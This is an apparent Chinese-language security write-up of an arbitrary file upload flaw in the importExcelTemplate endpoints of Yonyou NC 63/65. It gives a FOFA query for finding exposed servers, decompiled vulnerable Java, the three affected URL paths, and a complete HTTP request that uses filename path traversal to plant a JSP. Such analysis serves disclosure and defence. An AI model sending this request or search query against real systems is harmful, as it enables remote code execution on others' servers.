漏洞简介
用友NC的importExcelTemplate模块存在任意文件上传漏洞。攻击者可通过构造恶意上传请求,绕过文件类型限制,将任意文件上传至服务器,进而可能实现远程代码执行或服务器控制,影响系统的完整性和安全性。
影响版本
NC63、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据漏洞通告,可知漏洞点位于importExcelTemplate方法内

直接搜索发现有三处实现了该方法

分别是 CpDocAttrExcelImportAction、CpDocExcelImportAction和CpDocInfoPathImportAction这三个类,先看下CpDocInfoPathImportAction类的实现逻辑
CpDocInfoPathImportAction
@Servlet(path="/infopathimport")
public class CpDocInfoPathImportAction
extends BaseAction {
private static MultipartResolver multipartResolver = new CommonsMultipartResolver();
private static MultipartHttpServletRequest getMultipartResolver(HttpServletRequest request) throws MultipartException {
((CommonsMultipartResolver)multipartResolver).setDefaultEncoding("UTF-8");
return multipartResolver.resolveMultipart(request);
}
@Action
public void importExcelTemplate() throws IOException {
MultipartHttpServletRequest req = CpDocInfoPathImportAction.getMultipartResolver(this.request);
Map fileMap = req.getFileMap();
ArrayList files = new ArrayList();
if (MapUtils.isNotEmpty((Map)fileMap)) {
files.addAll(fileMap.values());
}
String name = ((MultipartFile)files.get(0)).getOriginalFilename();
InputStream in = ((MultipartFile)files.get(0)).getInputStream();
File xsnFile = new File(name);
byte[] xsnFileBytes = IOUtils.read((InputStream)in);
FileUtils.writeByteArrayToFile((File)xsnFile, (byte[])xsnFileBytes);
in.close();
LfwLogger.info((String)("upload xsn file name is :" + name));
}
}
整个类就一个action,也就是存在漏洞的方法importExcelTemplate,importExcelTemplate的实现也比较简单,直接将请求里的文件文件信息如文件名这些原封不动的取出来,然后调用FileUtils.writeByteArrayToFile写入文件,整个过程没有任何对文件的类型、后缀以及内容的校验措施,因此造成任意文件上传漏洞。
其他两个方法类似
CpDocExcelImportAction
@Servlet(path="/excelimport")
public class CpDocExcelImportAction
extends BaseAction {
private static MultipartResolver multipartResolver = new CommonsMultipartResolver();
private static MultipartHttpServletRequest getMultipartResolver(HttpServletRequest request) throws MultipartException {
((CommonsMultipartResolver)multipartResolver).setDefaultEncoding("UTF-8");
return multipartResolver.resolveMultipart(request);
}
@Action
public void importExcelTemplate() throws IOException {
MultipartHttpServletRequest req = CpDocExcelImportAction.getMultipartResolver(this.request);
String billitem = req.getParameter("billitem");
String[] params = billitem.split(";");
HashMap<String, String> paramMap = new HashMap<String, String>(3);
paramMap.put("pk_doctype", params[0]);
paramMap.put("pk_org", params[1]);
paramMap.put("pk_group", params[2]);
Map fileMap = req.getFileMap();
ArrayList files = new ArrayList();
if (MapUtils.isNotEmpty((Map)fileMap)) {
files.addAll(fileMap.values());
}
String name = ((MultipartFile)files.get(0)).getOriginalFilename();
InputStream in = ((MultipartFile)files.get(0)).getInputStream();
File xlsFile = new File(name);
byte[] xlsxBytes = IOUtils.read((InputStream)in);
FileUtils.writeByteArrayToFile((File)xlsFile, (byte[])xlsxBytes);
in.close();
LfwLogger.info((String)("upload xlsx file name is :" + name));
需要注意参数billitem的格式为 1;2;3 这种。
CpDocAttrExcelImportAction
@Servlet(path="/attrexcelimport")
public class CpDocAttrExcelImportAction
extends BaseAction {
private static MultipartResolver multipartResolver = new CommonsMultipartResolver();
private static MultipartHttpServletRequest getMultipartResolver(HttpServletRequest request) throws MultipartException {
((CommonsMultipartResolver)multipartResolver).setDefaultEncoding("UTF-8");
return multipartResolver.resolveMultipart(request);
}
/*
* WARNING - Removed try catching itself - possible behaviour change.
*/
@Action
public void importExcelTemplate() throws IOException {
MultipartHttpServletRequest req = CpDocAttrExcelImportAction.getMultipartResolver(this.request);
String pk_doc = req.getParameter("billitem");
Map fileMap = req.getFileMap();
ArrayList files = new ArrayList();
if (MapUtils.isNotEmpty((Map)fileMap)) {
files.addAll(fileMap.values());
}
String name = ((MultipartFile)files.get(0)).getOriginalFilename();
InputStream in = ((MultipartFile)files.get(0)).getInputStream();
File xlsFile = new File(name);
byte[] xlsxBytes = IOUtils.read((InputStream)in);
FileUtils.writeByteArrayToFile((File)xlsFile, (byte[])xlsxBytes);
in.close();
总共三种url形式
- /attrexcelimport/importExcelTemplate
- /excelimport/importExcelTemplate
- /infopathimport/importExcelTemplate
漏洞复现
这个属于老洞,不过最近蜜罐监测到又有人来打。。。
POST /portal/pt/infopathimport/importExcelTemplate?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNAL3EsrdN90G1hgq
------WebKitFormBoundaryNAL3EsrdN90G1hgq
Content-Disposition: form-data; name="Filedata"; filename="./.\webapps\nc_web\1.jsp"
application/octet-stream
<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryNAL3EsrdN90G1hgq--
访问上传文件

成功执行上传的代码,打印UUID并删除自身。


